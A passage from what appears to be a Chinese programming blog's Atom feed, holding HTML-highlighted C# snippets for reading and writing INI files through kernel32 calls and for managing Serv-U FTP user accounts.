#000000">0</SPAN><SPAN style="COLOR: #000000">);&nbsp;<BR>&nbsp;&nbsp;&nbsp;}&nbsp;<BR>}&nbsp;<BR><BR></SPAN>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=310" /> 
	  <id>http://www.openx.cn/default.asp?id=310</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[读取 INI 文件]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-06-28T16:49:00+08:00</updated>
	  <published>2006-06-28T16:49:00+08:00</published>
		  <summary type="html"><![CDATA[<SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">读取INI文件&nbsp;INI&nbsp;ini&nbsp;=&nbsp;new&nbsp;INI();&nbsp;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #0000ff">using</SPAN><SPAN style="COLOR: #000000">&nbsp;System;<BR></SPAN><SPAN style="COLOR: #0000ff">using</SPAN><SPAN style="COLOR: #000000">&nbsp;System.Text;<BR></SPAN><SPAN style="COLOR: #0000ff">using</SPAN><SPAN style="COLOR: #000000">&nbsp;System.Runtime.InteropServices;&nbsp;<BR></SPAN><SPAN style="COLOR: #0000ff">namespace</SPAN><SPAN style="COLOR: #000000">&nbsp;QF&nbsp;<BR>{<BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;summary&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;.INI文件&nbsp;操作。<BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;/summary&gt;</SPAN><SPAN style="COLOR: #808080"><BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">class</SPAN><SPAN style="COLOR: #000000">&nbsp;INI<BR>{<BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;summary&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;创建一个如下的INI对象<BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;INI&nbsp;ini&nbsp;=&nbsp;new&nbsp;INI(@"C:\test.ini");<BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;/summary&gt;</SPAN><SPAN style="COLOR: #808080"><BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;INI(</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;INIPath)<BR>{<BR>path&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;INIPath;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;path;<BR></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">引用动态连接库方法</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #000000">[DllImport(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">kernel32</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">)]<BR></SPAN><SPAN style="COLOR: #0000ff">private</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">static</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">extern</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">long</SPAN><SPAN style="COLOR: #000000">&nbsp;WritePrivateProfileString(</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;section,</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;key,</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;val,</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;filePath);<BR>[DllImport(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">kernel32</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">)]<BR></SPAN><SPAN style="COLOR: #0000ff">private</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">static</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">extern</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">int</SPAN><SPAN style="COLOR: #000000">&nbsp;GetPrivateProfileString(</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;section,</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;key,</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;def,&nbsp;StringBuilder&nbsp;retVal,</SPAN><SPAN style="COLOR: #0000ff">int</SPAN><SPAN style="COLOR: #000000">&nbsp;size,</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;filePath);<BR><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;summary&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;写入数据<BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;/summary&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;PARAM&nbsp;name="Section"&gt;&lt;/PARAM&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;节点名<BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;PARAM&nbsp;name="Key"&gt;&lt;/PARAM&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;键名<BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;PARAM&nbsp;name="Value"&gt;&lt;/PARAM&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;值名</SPAN><SPAN style="COLOR: #808080"><BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">void</SPAN><SPAN style="COLOR: #000000">&nbsp;Write(</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;Section,</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;Key,</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;Value)<BR>{<BR>WritePrivateProfileString(Section,Key,Value,</SPAN><SPAN style="COLOR: #0000ff">this</SPAN><SPAN style="COLOR: #000000">.path);<BR>}<BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;summary&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;读取INI数据<BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;/summary&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;PARAM&nbsp;name="Section"&gt;&lt;/PARAM&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;PARAM&nbsp;name="Key"&gt;&lt;/PARAM&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;PARAM&nbsp;name="Path"&gt;&lt;/PARAM&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;returns&gt;&lt;/returns&gt;</SPAN><SPAN style="COLOR: #808080"><BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;Read(</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;Section,</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;Key)<BR>{<BR>StringBuilder&nbsp;temp&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;StringBuilder(</SPAN><SPAN style="COLOR: #000000">255</SPAN><SPAN style="COLOR: #000000">);<BR></SPAN><SPAN style="COLOR: #0000ff">int</SPAN><SPAN style="COLOR: #000000">&nbsp;i&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;GetPrivateProfileString(Section,Key,</SPAN><SPAN style="COLOR: #000000">""</SPAN><SPAN style="COLOR: #000000">,temp,&nbsp;</SPAN><SPAN style="COLOR: #000000">255</SPAN><SPAN style="COLOR: #000000">,&nbsp;</SPAN><SPAN style="COLOR: #0000ff">this</SPAN><SPAN style="COLOR: #000000">.path);<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;temp.ToString();<BR>}<BR>}<BR>}<BR><BR></SPAN>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=309" /> 
	  <id>http://www.openx.cn/default.asp?id=309</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[C# 管理Serv-U]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-06-28T16:48:13+08:00</updated>
	  <published>2006-06-28T16:48:13+08:00</published>
		  <summary type="html"><![CDATA[<SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">Serv-U&nbsp;管理</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #000000"><BR></SPAN><SPAN style="COLOR: #0000ff">using</SPAN><SPAN style="COLOR: #000000">&nbsp;System;<BR></SPAN><SPAN style="COLOR: #0000ff">using</SPAN><SPAN style="COLOR: #000000">&nbsp;System.Data;<BR></SPAN><SPAN style="COLOR: #0000ff">using</SPAN><SPAN style="COLOR: #000000">&nbsp;System.Data.OleDb;<BR></SPAN><SPAN style="COLOR: #0000ff">using</SPAN><SPAN style="COLOR: #000000">&nbsp;System.Web.Security;<BR><BR></SPAN><SPAN style="COLOR: #0000ff">namespace</SPAN><SPAN style="COLOR: #000000">&nbsp;Host.AdminManager.Inc<BR>{<BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;summary&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;ServU&nbsp;的摘要说明。<BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;/summary&gt;</SPAN><SPAN style="COLOR: #808080"><BR></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">Access,AlwaysLogin,ChangePass,Disable,Expirationtype,Expiration,Groups,HideHidden,HomeDir,idleTimeOut,LogMesfile,MaxIp,MaxSpeedDown,MaxSpeedUp,MaxUsers,Name,Needsecure,Notes,PassType,Password,Privilege,QuotaCurrent,QuotaEnable,QuotaMax,RatioCredit,RatioDown,RatioType,RatioUP,RelPaths,SessionTimeOut,SkeyValues</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">class</SPAN><SPAN style="COLOR: #000000">&nbsp;ServU<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">#region</SPAN><SPAN style="COLOR: #000000">&nbsp;四程构造函数</SPAN><SPAN style="COLOR: #000000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;summary&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;用户名,密码,ftp主目录,空间大小(单位M)<BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;/summary&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;param&nbsp;name="帐号"&gt;&lt;/param&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;param&nbsp;name="密码"&gt;&lt;/param&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;param&nbsp;name="目录"&gt;&lt;/param&gt;</SPAN><SPAN style="COLOR: #808080"><BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;ServU(</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;帐号,</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;密码,</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;目录)<BR>{<BR>Name&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;帐号;<BR>Password&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;密码;<BR>HomeDir&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;目录;<BR>Access&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;目录&nbsp;</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">|RWAMLCDP</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">;<BR>}<BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;summary&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;用户名,密码,ftp主目录,空间大小(单位M)<BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;/summary&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;param&nbsp;name="帐号"&gt;&lt;/param&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;param&nbsp;name="密码"&gt;&lt;/param&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;param&nbsp;name="目录"&gt;&lt;/param&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;param&nbsp;name="权限"&gt;&lt;/param&gt;</SPAN><SPAN style="COLOR: #808080"><BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;ServU(</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;帐号,</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;密码,</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;目录,</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;权限)<BR>{<BR>Name&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;帐号;<BR>Password&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;密码;<BR>HomeDir&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;目录;<BR>Access&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;目录&nbsp;</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">|</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">&nbsp;权限;<BR>}<BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;summary&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;用户名,密码,ftp主目录,空间大小(单位M)<BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;/summary&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;param&nbsp;name="帐号"&gt;&lt;/param&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;param&nbsp;name="密码"&gt;&lt;/param&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;param&nbsp;name="目录"&gt;&lt;/param&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;param&nbsp;name="权限"&gt;&lt;/param&gt;</SPAN><SPAN style="COLOR: #808080"><BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;ServU(</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;帐号,</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;密码,</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;目录,</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;空间)<BR>{<BR>Name&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;帐号;<BR>Password&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;密码;<BR>HomeDir&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;目录;<BR>QuotaMax&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;空间;<BR>Access&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;目录&nbsp;</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">|RWAMLCDP</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">;<BR>QuotaEnable&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">1</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">;<BR>}<BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;summary&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;用户名,密码,ftp主目录,空间大小(单位M)<BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;/summary&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;param&nbsp;name="帐号"&gt;&lt;/param&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;param&nbsp;name="密码"&gt;&lt;/param&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;param&nbsp;name="目录"&gt;&lt;/param&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;param&nbsp;name="空间"&gt;&lt;/param&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;param&nbsp;name="权限"&gt;&lt;/param&gt;</SPAN><SPAN style="COLOR: #808080"><BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;ServU(</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;帐号,</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;密码,</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;目录,</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;空间,</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;权限)<BR>{<BR>Name&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;帐号;<BR>Password&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;密码;<BR>HomeDir&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;目录;<BR>QuotaMax&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;空间;<BR>Access&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;目录&nbsp;</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">|</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">&nbsp;权限;<BR>QuotaEnable&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">1</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">#endregion</SPAN><SPAN style="COLOR: #000000"><BR></SPAN><SPAN style="COLOR: #0000ff">#region</SPAN><SPAN style="COLOR: #000000">&nbsp;属性定义</SPAN><SPAN style="COLOR: #000000"><BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;目录IP访问规则<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">get</SPAN><SPAN style="COLOR: #000000"><BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;Access;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">set</SPAN><SPAN style="COLOR: #000000"><BR>{<BR>Access&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;value;<BR>}<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;总是允许登陆<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">get</SPAN><SPAN style="COLOR: #000000"><BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;AlwaysLogin;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">set</SPAN><SPAN style="COLOR: #000000"><BR>{<BR>AlwaysLogin&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;value;<BR>}<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;是否允许更改密码<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">get</SPAN><SPAN style="COLOR: #000000"><BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;ChangePass;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">set</SPAN><SPAN style="COLOR: #000000"><BR>{<BR>ChangePass&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;value;<BR>}<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: 